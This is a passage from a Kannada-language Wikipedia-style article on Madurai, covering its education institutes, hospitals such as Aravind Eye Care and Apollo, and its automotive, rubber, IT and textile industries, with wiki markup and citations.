ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ವಿಶ್ವವಿದ್ಯಾಲಯಗಳಿಂದ ಏರ್ಪಾಡು ಮಾಡಲಾದ ಸಾಂಸ್ಥಿಕ ಸಂದರ್ಶನಗಳಲ್ಲಿ ಅಗ್ರಗಣ್ಯ ಉದ್ಯಮ ಸಂಸ್ಥೆಗಳು ಭಾಗವಹಿಸಿ ಯಶಸ್ವಿ ನೇಮಕಾತಿಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತಿದೆ. ಔದ್ಯಮಿಕ ಅಂದಾಜುಗಳ ಪ್ರಕಾರ ಮೆಟ್ರೋ ನಗರಗಳಲ್ಲಿನ IT ಉದ್ಯಮದಲ್ಲಿರುವ ಸುಮಾರು 15ರಿಂದ 20 ಪ್ರತಿಶತ ಮಾನವ ಸಂಪನ್ಮೂಲವು ಮಧುರೈ ಮತ್ತು ಸುತ್ತಮುತ್ತಲಿನ ಜಿಲ್ಲೆಗಳಿಂದ ಶಿಕ್ಷಣ ಪಡೆದವರು <ref>{{cite web|url=http://www.thehindubusinessline.com/2007/10/20/stories/2007102052622300.htm|title = Madurai- gateway to prosperity |accessdate = 2008-12-24}}</ref>. ಮಾ ಫೋಯ್‌ ಮತ್ತು VETAಗಳು ಇತರೆ ಪ್ರತಿಷ್ಠಿತ ಸಂಸ್ಥೆಗಳು. ಮತ್ತೊಂದು ಹೊಸ ಆದರೆ ಮುಂದೆಬರುತ್ತಿರುವ/ಅಭ್ಯುದಯ ಹೊಂದುತ್ತಿರುವ ನಾವೀನ್ಯತೆಯುಳ್ಳ ಶಿಕ್ಷಣ ಕೇಂದ್ರವು ಪುಲ್ಲೋತು/ಥುನಲ್ಲಿದೆ. ಅದೆಂದರೆ ಎರಡು ವರ್ಷ ಕಾಲದ ಅದ್ವಿತೀಯ ಅಭಿವೃದ್ಧಿ ನಿರ್ವಹಣೆಯ ಅಧ್ಯಯನವನ್ನು ಆರಂಭಿಸಿರುವ ಟಾಟಾ-ಧನ್‌ ಅಕಾಡೆಮಿ<ref>http://www.dhan.org/tda</ref>. ಈ ಸಂಸ್ಥೆಯು ಈ ಕ್ಷೇತ್ರದ ಪ್ರವರ್ತಕ ಸಂಸ್ಥೆಯೆಂಬ ಹೆಗ್ಗಳಿಕೆ ಹೊಂದಿದ್ದು ಧನ್‌ ಪ್ರತಿಷ್ಠಾನ ಮತ್ತು ಸರ್‌ ರತನ್‌ ಟಾಟಾ ಟ್ರಸ್ಟ್‌ಗಳಿಂದ ಆರ್ಥಿಕ ಬೆಂಬಲ ಪಡೆದಿದೆ.{{Citation needed|date=August 2009}} == ಆರೋಗ್ಯರಕ್ಷಣೆ == ಸರ್ಕಾರದ ರಾಜಾಜಿ ಆಸ್ಪತ್ರೆಯೊಂದಿಗೆ ಅನೇಕ ಖಾಸಗಿ ಆಸ್ಪತ್ರೆಗಳಾದ ಅರವಿಂದ ಕಣ್ಣಿನ ಆಸ್ಪತ್ರೆ, ಅಪೋಲೋ ಸ್ಪೆಷಾಲಿಟಿ ಆಸ್ಪತ್ರೆ, ಮೀನಾಕ್ಷಿ ಮಿಷನ್‌ ಆಸ್ಪತ್ರೆ ಮತ್ತು ಸಂಶೋಧನಾ ಕೇಂದ್ರ, ವಡಮಾಲಯನ್‌ ಆಸ್ಪತ್ರೆ ಮತ್ತು ಕ್ವಾಲಿಟಿ ಕೇರ್‌ ಆಸ್ಪತ್ರೆಗಳು ನಗರವನ್ನು ನಿರ್ವಹಿಸಬಹುದಾದಂತಹಾ ವೆಚ್ಚದಲ್ಲಿ ಹೆರಿಟೇಜ್‌ ಪ್ರವಾಸೋದ್ಯಮದೊಂದಿಗೆ ಆರೋಗ್ಯ ರಕ್ಷಣೆಯನ್ನು ನೀಡುವ ತಾಣವನ್ನಾಗಿಸಿವೆ <ref>{{cite web|url= http://www.thehindubusinessline.com/2007/10/20/stories/2007102052622300.htm|title= Madurai — a gateway to prosperity | accessdate = 2008-12-24}}</ref>. [[ಚಿತ್ರ:Aravind hospital.jpg|thumb|right|ಅನ್ನಾ ನಗರ್‌ನಲ್ಲಿರುವ ಅರವಿಂದ್‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯ]] ಮಧುರೈ ನಗರವು 1976ರಲ್ಲಿ Dr.[[ಗೋವಿಂದಪ್ಪ ವೆಂಕಟಸ್ವಾಮಿ]]ಯವರಿಂದ ಸ್ಥಾಪಿತವಾದ [http://www.aravind.org/ ಅರವಿಂದ್‌‌ ಐಕೇರ್‌ ಸಿಸ್ಟಂ] ಸಂಸ್ಥೆಯ ನೆಲೆಯಾಗಿದೆ. ಇಂದು ಇದು ವಿಶ್ವದಲ್ಲೇ ಅತ್ಯಂತ ಸುಸಜ್ಜಿತವಾದ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಲ್ಲಿ ಒಂದು <ref>{{cite web|url= http://www.aravind.org/education/homepage.htm|title= Aravind Eye Care System -official website|accessdate= 2008-12-24|archive-date= 2008-12-21|archive-url= https://web.archive.org/web/20081221123041/http://www.aravind.org/education/homepage.htm|url-status= dead}}</ref>. ಇಂದು ಮಧುರೈನಲ್ಲಿರುವ ಆಸ್ಪತ್ರೆಯಲ್ಲದೇ, [[ಥೇಣಿ]], [[ತಿರುನಲ್ವೇಲಿ]], [[ಕೊಯಮತ್ತೂರು]], ಮತ್ತು [[ಪುದುಚೇರಿ]]ಗಳಲ್ಲಿ ಇರುವ ನಾಲ್ಕು ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಿಂದ ಒಟ್ಟು 3,590 ರೋಗಿಗಳಿಗೆ ಸೇವೆ ನೀಡಬಹುದಾಗಿದೆ. ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳು ತಮ್ಮ ಸೇವಾ ಮನೋಭಾವನೆ,ಆಧುನಿಕ ನೇತ್ರ ತಂತ್ರಜ್ಞಾನಗಳ ಬಳಕೆ ಮತ್ತು ಹಳ್ಳಿಯ ಜನಗಳಿಗೆ ನೀಡುತ್ತಿರುವ ಉತ್ತಮ ಗುಣಮಟ್ಟದ ನೇತ್ರ ಚಿಕಿತ್ಸೆಗಳಿಗೆ, ಸಮುದಾಯ ಆಧಾರಿತ ವ್ಯಾಪಕ ಚಟುವಟಿಕೆಗಳಿಗೆ ರಾಷ್ಟ್ರೀಯ ಹಾಗೂ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ಪ್ರಾಮುಖ್ಯತೆ ಗಳಿಸಿವೆ<ref>{{cite web|url=http://www.hindu.com/2008/11/14/stories/2008111451100200.htm|title=Bangladesh, Indonesia seek Madurai eye hospital’s expertise|accessdate=2008-12-24|archive-date=2009-01-25|archive-url=https://web.archive.org/web/20090125164608/http://www.hindu.com/2008/11/14/stories/2008111451100200.htm|url-status=dead}}</ref>. ಅರವಿಂದ್‌‌ ನೇತ್ರ ಚಿಕಿತ್ಸಾಲಯಗಳಲ್ಲಿ 2006ನೇ ಇಸವಿಯ ಅವಧಿಯಲ್ಲಿ ಒಟ್ಟು 2,313,398 ಹೊರರೋಗಿಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಯಿತಲ್ಲದೇ ಮತ್ತು 270,444 ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಗಳನ್ನು ಮಾಡಲಾಗಿತ್ತು. ಹೊರರೋಗಿಗಳಲ್ಲಿ ಮೂರನೇ ಎರಡರಷ್ಟು ಮಂದಿ ಹಾಗೂ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಗಳಲ್ಲಿ ನಾಲ್ಕರಲ್ಲಿ ಮೂರರಷ್ಟು ಮಂದಿ ಬಡವರಾಗಿದ್ದರು ಅವರಿಗೆ ಉಚಿತ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗಿತ್ತು. ಮಧುರೈನ ಅಪೋಲೋ ಸ್ಪೆಷಾಲಿಟಿ ಆಸ್ಪತ್ರೆಗಳನ್ನು 1997ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. ಆಸ್ಪತ್ರೆಯು ವಾರ್ಷಿಕವಾಗಿ 15,000 ರೋಗಿಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡಿ ಒಟ್ಟಾರೆ 98%ದಷ್ಟು ಯಶಸ್ವಿ ಚಿಕಿತ್ಸೆಯ ದರವನ್ನು ಕಾಪಾಡಿಕೊಂಡಿದೆ. 24-ಗಂಟೆ ಸೇವಾ ತತ್ಪರರಾಗಿರುವ ವಿಶೇಷ ತಜ್ಞರ ತಂಡವು ಆಸ್ಪತ್ರೆಯಲ್ಲಿರುತ್ತದೆ. ಆಸ್ಪತ್ರೆಯು ದಕ್ಷಿಣಭಾರತದಲ್ಲೇ ಪ್ರಥಮ ಬಾರಿಗೆ ಮೂತ್ರಪಿಂಡಶಾಸ್ತ್ರದ ತುರ್ತು ನಿಗಾ ಘಟಕ ಮತ್ತು ಪ್ರಥಮ ಅಪಧಮನಿ ಹಾಗೂ ಮೂತ್ರಪಿಂಡಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಆಂಜಿಯೋಪ್ಲಾಸ್ಟಿ ಚಿಕಿತ್ಸಾ ಘಟಕವನ್ನು ಹೊಂದಿತ್ತು. ಉದರದರ್ಶಕದ ಮೂಲಕ ಮೂತ್ರಪಿಂಡಜೋಡಣೆ ಮಾಡುವ ವಿಶ್ವದಲ್ಲೇ 5ನೇ ಹಾಗೂ ಭಾರತದಲ್ಲಿ No. 1 ಕೇಂದ್ರವಾಗಿದೆ(ದಾತರ ಮೂತ್ರಪಿಂಡಚ್ಛೇದನ)<ref>{{cite web|url= http://www.apollohospitals.com/madurai.asp?PgeuId=1066|title= Apollo Hospitals - official website|accessdate= 2008-12-24|archive-date= 2008-12-26|archive-url= https://web.archive.org/web/20081226133919/http://www.apollohospitals.com/madurai.asp?PgeuId=1066|url-status= dead}}</ref>. ಅಪೋಲೋ ಸಮೂಹದ ಆಸ್ಪತ್ರೆಗಳು ಅನೇಕ ಭಾರತೀಯ ನಗರಗಳಲ್ಲಿ ಹರಡಿವೆಯಲ್ಲದೇ ಇಂದಿಗೆ ಅಪೋಲೋ ಆಸ್ಪತ್ರೆಗಳು ಜಾಗತಿಕ ಆರೋಗ್ಯ ರಕ್ಷಣೆಯಲ್ಲಿ ಭಾರತವು ಅತ್ಯುತ್ತಮ ವೈದ್ಯಕೀಯ ಸೇವೆಗಳು ಲಭ್ಯವಿರುವ ರಾಷ್ಟ್ರವೆಂಬ ಸ್ಥಾನ ಸಿಗಲು ಅಗ್ರ ಪ್ರವರ್ತಕ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊತ್ತಿವೆ. == ಆರ್ಥಿಕತೆ == ಮಧುರೈ ಜಿಲ್ಲೆಯು ಖಾಸಗಿ ಕ್ಷೇತ್ರದಲ್ಲಿ ಟೈರ್‌ಗಳು, ಔದ್ಯಮಿಕ ರಬ್ಬರ್‌ ಉತ್ಪನ್ನಗಳು, ಯಂತ್ರಗಳು, ವಸ್ತ್ರೋದ್ಯಮ, ಕನ್ವೇಯರ್‌ ಬೆಲ್ಟ್‌ಗಳು, ರಾಸಾಯನಿಕ etc.ಗಳಂತಹಾ ಸಾಮಗ್ರಿಗಳ ಉತ್ಪಾದನೆಯಲ್ಲಿ ತೊಡಗಿಕೊಂಡಿರುವ ಪ್ರತಿಷ್ಠಿತ ಸಂಸ್ಥೆಗಳ ನೆಲೆಯಾಗಿದೆ. ಮಧುರೈ TVS ಸಮೂಹದ ನೆಲೆಯಾಗಿದೆ<ref>{{cite web|url= http://www.tvsgroup.com/pages/contact.htm |title= TVS Group | accessdate = 2009-01-24}}</ref>. === ಸ್ವಯಂಚಾಲಿತ ವಾಹನ/ವಾಹನೋದ್ಯಮ === ತಯಾರಿಕೆ ಮತ್ತು ವಾಹನೋದ್ಯಮ ಕ್ಷೇತ್ರದಲ್ಲಿ, ಟ್ರಾಕ್ಟರ್ಸ್‌ ಅಂಡ್‌ ಫಾರ್ಮ್‌‌ ಈಕ್ವಿಪ್‌ಮೆಂಟ್‌ ಲಿಮಿಟೆಡ್‌ (TAFE) (ವಿಶ್ವದ ಐದು ಪ್ರಖ್ಯಾತ ಟ್ರಾಕ್ಟರ್‌ ತಯಾರಕರಲ್ಲಿ ಒಬ್ಬರು), [http://fennerindia.com/html/manufacturing.asp ಫೆನ್ನರ್‌ (ಭಾರತ) Ltd] {{Webarchive|url=https://web.archive.org/web/20100103071130/http://fennerindia.com/html/manufacturing.asp |date=2010-01-03 }} (ಔದ್ಯಮಿಕ ಮತ್ತು ವಾಹನ ತಯಾರಿಕೆಯ V-ಬೆಲ್ಟ್‌ಗಳು, ಆಯಿಲ್‌ಸೀಲ್‌ಗಳು ಮತ್ತು ಶಕ್ತಿ ಸಂವಹನ ಪರಿಕರಗಳು), ಹೈ-ಟೆಕ್‌ ಅರೈ Ltd (ಆಯಿಲ್‌ಸೀಲ್‌ಗಳು ಮತ್ತು ವಾಹನ ಸಾಮಗ್ರಿಗಳು )<ref>{{cite web|url= http://www.business-standard.com/india/storypage.php?autono=292804 |title= Hi-Tech Arai to set up Rs 25 cr plant in Madurai | accessdate = 2009-01-24}}</ref>, ಜಾರ್ಜ್‌ ಓಕ್ಸ್‌ ltd, ZF ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ TVS (ಭಾರತ) ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌‌(ಸ್ವಿಚ್‌ಗಳ ತಯಾರಿಕೆ , TVS ಸಮೂಹ, ಭಾರತ ಹಾಗೂ Zf ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಕಾರ್ಪೋರೇಷನ್‌, USAಗಳ ಸಹಭಾಗಿತ್ವ), ಸುಂದರಂ ಫಾಸನರ್ಸ್‌‌ Ltd (ಹೆಚ್ಚಿನ ಕರ್ಷಕ ಸಾಮರ್ಥ್ಯದ ಬಂಧಕ/ನಿಗಳ ತಯಾರಕರು ), [http://www.indiaautomotive.net/2008/08/firestone-tvs-plant-inaugurated-near.html ಫೈರ್‌ಸ್ಟೋನ್‌ TVS ಪ್ರೈವೇಟ್‌ Ltd] {{Webarchive|url=https://web.archive.org/web/20110315093926/http://www.indiaautomotive.net/2008/08/firestone-tvs-plant-inaugurated-near.html |date=2011-03-15 }}(ಏರ್‌ ಸ್ಪ್ರಿಂಗ್‌‌ಳ ತಯಾರಕರು), [http://www.msl.co.in/ MADRAS SUSPENSIONS LIMITED], TVS ಸ್ಯೂಯಿಂಗ್‌ ನೀಡಲ್ಸ್‌ ಲಿಮಿಟೆಡ್‌, TV ಸುಂದರಂ ಅಯ್ಯಂಗಾರ್‌ & ಸನ್ಸ್‌ ಲಿಮಿಟೆಡ್‌‌ (ಹೆಚ್ಚಿನ ಕ್ಷಮತೆಯ ವಾಣಿಜ್ಯ ವಾಹನಗಳು, ಜೀಪ್‌ಗಳು,ಕಾರುಗಳ ವಿತರಕರು) ಮತ್ತು ಸುಸೀ ಸಮೂಹ (ತಮಿಳುನಾಡಿನಾದ್ಯಂತ ವಾಹನಗಳ ಮಾರಾಟ, ಸೇವೆ, ಪರಿಕರಗಳು, ಹಣಕಾಸು ವ್ಯವಸ್ಥೆ ನೀಡುವ ಸಂಸ್ಥೆ)ಗಳು ಗಮನಾರ್ಹ ಕಂಪೆನಿಗಳು. General Motors, Ford, Toyota ಮತ್ತು Hondaಗಳೂ ಸೇರಿದಂತೆ ವಾಹನ ತಯಾರಿಕಾ ಕ್ಷೇತ್ರದ ಎಲ್ಲಾ ಬೃಹತ್‌ ಕಂಪೆನಿಗಳೂ ನಗರದಲ್ಲಿ ಉತ್ಪಾದಿಸಿದ ವಾಹನ ಸಾಮಗ್ರಿಗಳ ನಿಯತ ಗ್ರಾಹಕರಾಗಿವೆ<ref name="hindu.com">{{cite web |url= http://www.hindu.com/2007/10/25/stories/2007102550550200.htm |title= An industry that can bolster the economy of Madurai |accessdate= 2009-01-24 |archive-date= 2007-10-26 |archive-url= https://web.archive.org/web/20071026133827/http://www.hindu.com/2007/10/25/stories/2007102550550200.htm |url-status= dead }}</ref>. 2,000 ಎಕರೆಗಳಷ್ಟು ವಿಶಾಲವಾದ ಪ್ರದೇಶದಲ್ಲಿ [[ರಾಜ್ಯ ಸರ್ಕಾರ]]ವು ತಯಾರಿಕಾ ಉದ್ಯಮಕ್ಕೆ ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ವಾಹನ ತಯಾರಿಕಾ ಪರಿಕರಗಳ ಉದ್ಯಮಕ್ಕೆ ಆದ್ಯತೆ ನೀಡಿ ಕೈಗಾರಿಕಾ ಪ್ರದೇಶವನ್ನು ಸ್ಥಾಪಿಸಲು ಉದ್ದೇಶಿಸಿದೆ<ref>{{cite web|url= http://business-standard.com/india/storypage.php?autono=343274|title= Industrial estate planned in Madurai | accessdate = 2009-01-24}}</ref>. === ರಬ್ಬರು === TVS ಶ್ರೀಚಕ್ರ (ಟೈರ್‌ಗಳ ತಯಾರಿಕೆ), ಸುಂದರಂ ಇಂಡಸ್ಟ್ರೀಸ್‌ ಲಿಮಿಟೆಡ್‌‌ (ರಬ್ಬರ್‌ ವಿಭಾಗ, ಕೋಚ್‌ ವಿಭಾಗ) ಮತ್ತು LANXESS ಇಂಡಿಯಾ ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌ಗಳು ಇಲ್ಲಿನ ಕೆಲ ರಬ್ಬರ್‌ ಆಧಾರಿತ ಉದ್ಯಮಗಳು. ಭಾರತ್‌ ರಬ್ಬರ್‌ ಇಂಡಿಯಾ ಲಿಮಿಟೆಡ್‌‌ (BRIL) ಕಂಪೆನಿಯು ವಿ-ಬೆಲ್ಟ್‌ಗಳು, ಫ್ಯಾನ್‌ ಬೆಲ್ಟ್‌ಗಳ ಪ್ರಧಾನ ತಯಾರಕರಾಗಿದ್ದು VEEHOLD ಎಂಬ ಬ್ರಾಂಡ್‌ನಡಿಯಲ್ಲಿ ಭಾರತದಾದ್ಯಂತ ಮಾರಾಟ ಮಾಡುತ್ತದೆ. ರಬ್ಬರ್‌ ಉತ್ಪಾದನಾ ಕೇಂದ್ರಗಳಿಗೆ ಹತ್ತಿರವಿರುವ ಕಾರಣದಿಂದಾಗಿ, ರಬ್ಬರ್‌ ಇಲ್ಲಿನ ಸಾಂಪ್ರದಾಯಿಕ ಉದ್ಯಮವಾಗಿತ್ತು. ಕೈಚೀಲಗಳು, ಕ್ರೀಡಾ ಸಾಮಗ್ರಿಗಳು, ಮಂದಲಿಗೆ/ಚಾಪೆಗಳು ಮತ್ತಿತರ ಉಪಯುಕ್ತ ಸಾಮಗ್ರಿಗಳೊಂದಿಗೆ, ಮಧುರೈ ರಬ್ಬರ್‌ನಿಂದ ಮಾಡಿದ ವಾಹನ ಪರಿಕರಗಳ ಉತ್ಪಾದನೆಯಲ್ಲಿ ದೊಡ್ಡ ಹೆಸರು ಮಾಡಿದೆ. ವಾರ್ಷಿಕವಾಗಿ ಸುಮಾರು Rs.1,000 ಕೋಟಿಗಳಷ್ಟು ಮೊತ್ತದ ರಬ್ಬರ್‌ ಸರಕುಗಳನ್ನು ಇಲ್ಲಿ ಉತ್ಪಾದಿಸಲಾಗುತ್ತದೆ<ref name="hindu.com" />. ರಬ್ಬರ್‌ ಉದ್ಯಮ, ಉದ್ಯಮಿಗಳ ಅಭಿಪ್ರಾಯಗಳು ಮಧುರೈನ ಆರ್ಥಿಕತೆಯ ಮೇಲೆ ಭಾರೀ ಪರಿಣಾಮ ಬೀರಬಲ್ಲವು. ವಾಹನ ತಯಾರಿಕಾ ಕ್ಷೇತ್ರದಲ್ಲಿನ ಉಚ್ಛ್ರಾಯ ಸ್ಥಿತಿಯಿಂದಾಗಬಹುದಾದ ಈ ಉದ್ಯಮದಲ್ಲಿನ ಉದ್ದೇಶಿತ ಬೆಳವಣಿಗೆಯು ಸ್ಥಳೀಯ ಆರ್ಥಿಕತೆಯ ಇನ್ನಿತರ ಭಾಗಗಳಲ್ಲಿ ಸರಣಿಕ್ರಮದ ಪ್ರಭಾವ ಬೀರುವಷ್ಟಿರುತ್ತದೆ. ಈ ಉದ್ಯಮವು ಮಾಲಿನ್ಯಕಾರಕಗಳ ಉತ್ಪಾದನೆಯ ಸಾಧ್ಯತೆ ಹೆಚ್ಚಾಗಿರುವ ಉದ್ಯಮವಾದರೂ ಸಹಾ ಉತ್ಪಾದಕರು/ತಯಾರಕರು “ವಿಶೇಷ ಎಚ್ಚರ”ಗಳನ್ನು ವಹಿಸಿ ಪರಿಸರಸ್ನೇಹಿ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸುತ್ತಿದ್ದಾರೆ. ಶೀಘ್ರದಲ್ಲೇ ನಗರದಲ್ಲಿ ರಬ್ಬರ್ ಉದ್ಯಮದ ಗುಚ್ಛಗಳನ್ನು ಸ್ಥಾಪಿಸಲು ಯೋಜಿಸಲಾಗಿದೆ. ಮಧುರೈ ಜಿಲ್ಲೆಯ ಟೈನಿ ಅಂಡ್‌ ಸ್ಮಾಲ್‌ ಸ್ಕೇಲ್‌ ಇಂಡಸ್ಟ್ರೀಸ್‌ ಅಸೋಸಿಯೇಷನ್‌ (MADITSSIA) ಮತ್ತು ರಬ್ಬರ್‌ ಪಾರ್ಕ್‌‌ (ಮಧುರೈ) ಲಿಮಿಟೆಡ್‌ಗಳು <ref>{{cite web|url= http://www.hindu.com/2008/01/05/stories/2008010559400200.htm|title= Rubber cluster to be established in Madurai|accessdate= 2009-01-24|archive-date= 2009-06-04|archive-url= https://web.archive.org/web/20090604203937/http://www.hindu.com/2008/01/05/stories/2008010559400200.htm|url-status= dead}}</ref> ತಮ್ಮ ನಡುವಿನ ಒಪ್ಪಂದದ ಜ್ಞಾಪಕಪತ್ರ(MoU)ಕ್ಕೆ ಸಹಿ ಹಾಕಿದವು. ಈಗಾಗಲೇ ಕಾರ್ಯಪ್ರವೃತ್ತವಾಗಿರುವ ಕೆಲ ಕೈಗಾರಿಕಾ ಯೋಜನೆಗಳೆಂದರೆ BHEL ಪೂರಕ ಘಟಕಗಳು <ref>{{cite web|url= http://www.thehindubusinessline.com/2008/09/08/stories/2008090851321500.htm |title= BHEL ancillary units’ estate planned | accessdate = 2009-01-24}}</ref> ಮತ್ತು ಕ/ಕ್ಯಾಪರೋ ಎಂಜಿನಿಯರಿಂಗ್‌ ಇಂಡಿಯಾ Pvt Ltd <ref>{{cite web|url= http://economictimes.indiatimes.com/Caparo_to_be_No_1_in_metal_sector_Swraj_Paul/articleshow/2393693.cms |title= Caparo to be No 1 in metal sector | accessdate = 2009-01-24}}</ref> ಉದ್ಯಮಗಳು. === IT ಮತ್ತು ITES === [[ಚಿತ್ರ:Honeywell Madurai recent.JPG|140px|thumb|left|ತಿರುಪ್ಪರಾಂಕುಂದ್ರಂನಲ್ಲಿರುವ ಹನಿವೆಲ್‌ ಕಂಪೆನಿಯ ಕಛೇರಿ]] ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ [[IT]] ಉದ್ಯಮವು ಮಧುರೈನ ಆರ್ಥಿಕತೆಯಲ್ಲಿ ಪ್ರಭಾವ ಬೀರಲು ಆರಂಭಿಸಿದೆ. [[ಸಾಫ್ಟ್‌ವೇರ್‌ ಟೆಕ್ನಾಲಜಿ ಪಾರ್ಕ್ಸ್‌‌ ಆಫ್‌ ಇಂಡಿಯಾ]], ಭಾರತ ಸರಕಾರದ ಒಂದು ನಿಯೋಗಿ ಸಂಸ್ಥೆಯಾಗಿದ್ದು ತನ್ನ ರಾಷ್ಟ್ರೀಯ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಅಭಿವೃದ್ಧಿ ಯೋಜನೆಯಡಿ ಅನುಕೂಲತೆಗಳನ್ನು ಪಡೆಯಲು ಮಧುರೈನಲ್ಲಿನ ಅನೇಕ ಕಂಪೆನಿಗಳನ್ನು ಪ್ರಮಾಣೀಕರಿಸಿದೆ/ಗಳಿಗೆ ಮಂಜೂರಾತಿ ನೀಡಿದೆ. ಹನಿವೆಲ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ ಇಂಡಿಯಾದಂತಹ MNCಗಳಿಗೆ ನಗರವು ನೆಲೆಯಾಗಿದೆ. ಉದ್ಯೋಗ/ಕೆಲಸದ ಸಂಸ್ಕೃತಿ, ಕನಿಷ್ಟ ಘರ್ಷಣೆಯ ದರ ಮತ್ತು ಶೈಕ್ಷಣಿಕ ಸಂಸ್ಥೆಗಳ ಲಭ್ಯತೆಗಳ ಕಾರಣದಿಂದಾಗಿ, [[HCL]], [[Satyam]], Oracle ಮತ್ತು ಸುದರ್‌ಲೆಂಡ್ ಗ್ಲೋಬಲ್‌ ಸರ್ವೀಸಸ್‌<ref>{{cite web|url= http://www.moneycontrol.com/india/news/business/madurai-is-next-bpo-hub-making-/20/41/324363 |title= Madurai is next BPO hub in the making | accessdate = 2008-12-23}}</ref><ref>{{cite web|url=http://www.ciol.com/SMB/News-Reports/Oracle-eyes-SMEs/41108112252/0/|title= Oracle plans to open a new centre in Madurai|accessdate = 2008-12-23}}</ref> ಗಳಂತಹಾ ಪ್ರಮುಖ IT ಕಂಪೆನಿಗಳನ್ನು ನಗರವು ಆಕರ್ಷಿಸುತ್ತಿದೆ. ತಮಿಳುನಾಡು ಸರಕಾರವು ಎರಡು IT- [[ವಿಶೇಷ ಆರ್ಥಿಕ ವಲಯ]] (SEZ)ಗಳನ್ನು ಮಧುರೈನಲ್ಲಿ ಸ್ಥಾಪಿಸಲು ಪ್ರಸ್ತಾವ ನೀಡಿದೆ ಮತ್ತು ಅವುಗಳನ್ನು ಈಗಾಗಲೇ ಪೂರ್ಣ ರೀತಿಯಲ್ಲಿ ಅನೇಕ IT ಕಂಪೆನಿಗಳು ತಮ್ಮ ಸುಪರ್ದಿಗೆ ತೆಗೆದುಕೊಂಡಿವೆ <ref>{{cite web|url= http://www.elcot.in/it-parks.php?page=4|title= ELCOT website | accessdate = 2008-12-24}}</ref>.ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ/ಇನ್‌ಫರ್ಮೇಷನ್‌ ಟೆಕ್ನಾಲಜಿ ಪಾರ್ಕ್‌<ref>{{cite web|url= http://www.hindu.com/2008/12/07/stories/2008120758080200.htm|title= Work on provision of infrastructure begins in Information Technology parks|accessdate= 2008-12-24|archive-date= 2008-12-10|archive-url= https://web.archive.org/web/20081210060826/http://www.hindu.com/2008/12/07/stories/2008120758080200.htm|url-status= dead}}</ref> ಗಳಲ್ಲಿ ಆಧಾರರಚನೆ ವ್ಯವಸ್ಥೆಗಳನ್ನು ನೀಡುವ ಪ್ರಕ್ರಿಯೆಯು ಪ್ರಗತಿಯಲ್ಲಿದೆ. ಮಧುರೈನಲ್ಲಿ ಹಾಗೂ ಸುತ್ತಮುತ್ತ ಉತ್ತಮ ಗುಣಮಟ್ಟದ [[ಮಾನವ ಸಂಪನ್ಮೂಲ]]ದ ಹೆಚ್ಚಿದ ಅಭಿವೃದ್ಧಿಯಿಂದಾಗಿ ಭಾರತದ No.2 IT ಪ್ರಧಾನ ಸಂಸ್ಥೆಯಾದ [[ಇನ್‌ಫೋಸಿಸ್‌]] ತನ್ನ ವಿಸ್ತರಣೆ ಹಾಗೂ ತನ್ನ ತಂತ್ರಾಂಶ ಅಭಿವೃದ್ಧಿ/ಡೆವಲಪ್‌ಮೆಂಟ್‌ ಕೇಂದ್ರವನ್ನು ತೆರೆಯಲು ಮಧುರೈನೆಡೆ ದೃಷ್ಟಿ ನೆಟ್ಟಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ.<ref>{{cite news|url=http://economictimes.indiatimes.com/Infotech/Software/Infosys-eyeing-Tier-II-cities-for-expansion/articleshow/4829201.cms |title=Infosys eyeing Tier-II cities for expansion- Software-Infotech-The Economic Times |publisher=Economictimes.indiatimes.com |date=2009-07-28 |accessdate=2009-09-23}}</ref> . ಮಧುರೈನಲ್ಲಿ ಕಾರ್ಯಾಚರಿಸುತ್ತಿರುವ ಹಾಗೂ ಇಲ್ಲಿನ ಆದಾಯಕ್ಕೆ ಕೊಡುಗೆ ನೀಡುತ್ತಿರುವ ತಂತ್ರಾಂಶ/ಸಾಫ್ಟ್‌ವೇರ್‌ ಕಂಪೆನಿಗಳ ಪಟ್ಟಿಯನ್ನು ಇಲ್ಲಿ ನೋಡಬಹುದು [[ಮಧುರೈನ ತಂತ್ರಾಂಶ/ಸಾಫ್ಟ್‌ವೇರ್‌ ಕಂಪೆನಿಗಳು]]. === ಜವಳಿ/ವಸ್ತ್ರೋದ್ಯಮ === ಪಸ್ತುತವಿರುವ ಕೆಲ ವಸ್ತ್ರೋದ್ಯಮ/ರಾಸಾಯನಿಕ ಕೈಗಾರಿಕೆಗಳೆಂದರೆ ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಮಿಲ್ಸ್‌ (P) ಲಿಮಿಟೆಡ್‌ (100% ಭಾರತೀಯ ಹತ್ತಿ ನೂಲಿನ ಅತಿ ದೊಡ್ಡ ತಯಾರಕರು ಹಾಗೂ ರಫ್ತುದಾರರುಗಳಲ್ಲಿ ಒಬ್ಬರು), ಕಾಸಿಂ ಟೆಕ್ಸ್‌ಟೈಲ್ಸ್‌ ಮಿಲ್ಸ್‌, ಸುಂದರಂ ಟೆಕ್ಸ್‌ಟೈಲ್ಸ್‌ 